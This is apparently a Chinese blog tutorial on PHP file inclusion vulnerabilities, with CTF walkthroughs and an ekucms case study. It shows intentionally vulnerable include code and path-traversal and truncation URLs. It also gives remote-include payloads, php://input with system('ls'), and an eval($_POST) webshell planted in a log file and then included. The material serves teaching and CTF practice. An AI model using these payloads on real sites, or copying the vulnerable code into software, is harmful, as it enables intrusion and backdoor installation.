zhaohzaomumu

文件包含漏洞原理

1.什么是文件包含

程序开发人员有时可能重复使用函数写到单个文件中,在使用某些函数时直接调用此文件,无需再次编写,这种调用文件额过程称为文件包含。

2.php中常见的包含文件的函数

  • include()
    当使用改函数包含文件时,只有代码执行到include()函数时才将文件包含进来,法神错误时会给一个警告,继续向下执行。
  • include_once()
    功能与include()相同,,区别在于当重复同一文件时,程序只调用一次。
  • require()
    require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本运行。
  • require_once()
    require_once()和require()相同,区别在于当重复调用同一文件时,程序只调用一次。

几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中
居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。

文件包含各个脚本中代码

ASP、PHP、JSP、ASPX等

<!--#include file="1.asp"-->
<!--#include file="top.aspx"-->
<c: import url="http://thief.one/1.jsp">
<jsp: include page="head.jsp" />
<%@ include file="head.jsp" %>
<?php Include('test.php') ?>

文件包含类型

  • 无限制php文件包含代码:
<?php
$filename =  $_GET['filename'];
include($filename);
?>
  • 有限制php文件包含代码
<?php
$filename =  $_GET['filename'];
include($filename.".html");#强制修改后缀
?>

1.本地包含

本质是访问服务器本身已经存在的文件。或者可以上传的文件,在直到上传的目录结构下。

  • 无限制情况
    本地网站目录存在文件1.txt,其里面包含php代码。当利用文件包含网页访问1.txt时,里面的php代码被执行。
http://127.0.0.1/include.php?filename=1.txt

image
若文件www.txt在E盘根目录下
image
网站目录在三级目录下
image
可构造访问

http://127.0.0.1/include.php?filename=../../../www.txt

image

  • 有限制情况
    有限制的情况下,文件会被强制加上后缀,无法正常解析和执行。
    image
    %00截断
    条件:magic_quotes_gpc=off,php版本<5.3.4
http://127.0.0.1/include.php?filename=1.txt%00

image
长度截断
条件:windows点号要长于256,linux要长于4096
image

2.远程包含

在php中,要实现远程包含的条件是:allow_url_include=on。
原理是通过读取自己服务器的文件,在目标服务器上进行执行。

  • 无限制
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt
  • 有限制
    可通过%20、%23、?进行截断
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt%00
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt%23
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt?

各种伪协议玩法

推荐:
https://www.cnblogs.com/endust/p/11804767.html

php支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php.ini参数设置

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;

allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

各协议的利用条件和方法

image

案例演示

1.CTF-南邮大

赛题地址:

http://4.chinalover.sinaapp.com/web7/index.php

打开界面如图:
image
查看网页源码,发现还有一个url,点击进去
image
image
小技巧:
此时url后面的参数是file,且值是show.php
我们直接访问show.php
image
发现与刚才界面显示结果相同。
即:

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
http://4.chinalover.sinaapp.com/web7/show.php

可以判断是文件包含。
通过大小写判断是什么操作系统。
image
大写报错,说明是linUx。
利用伪协议,执行系统命令读取index.php文件:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

image
利用base64解码,得到flag:
image

2.i 春秋百度杯真题-白盒

地址:

https://www.ichunqiu.com/battalion?t=1&r=0

image
打开后直接可以看见源码:
image
还是先判断操作系统,方便后续操作:
image
是linux。
接着构造,通过执行php代码获得文件目录:

http://50fd50592cdb4726bac09c6f0dadab3bf687db61f9084bfa.changame.ichunqiu.com/?path=php://input
Post:<?php echo system('ls');?>

image
再利用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
image
解码得flag:
image

3.ekucms文件包含漏洞

链接:https://pan.baidu.com/s/1TYTP_f4JW3ZbW14niChDxQ
提取码:qwer
本地包含一句话木马:

http://127.0.0.1/ekucms/?s=my/show/id/{~eval($_POST[orange])}

image
会在网站的/temp/Logs/目录下生成一个错误日志,命名规则为年_月_日
image
进行包含错误日志,地址:

http://127.0.0.1/ekucms/?s=my/show/id/\..\temp\logs\21_09_09.log

image
验证:
蚁剑可链接
image
image

相关文章: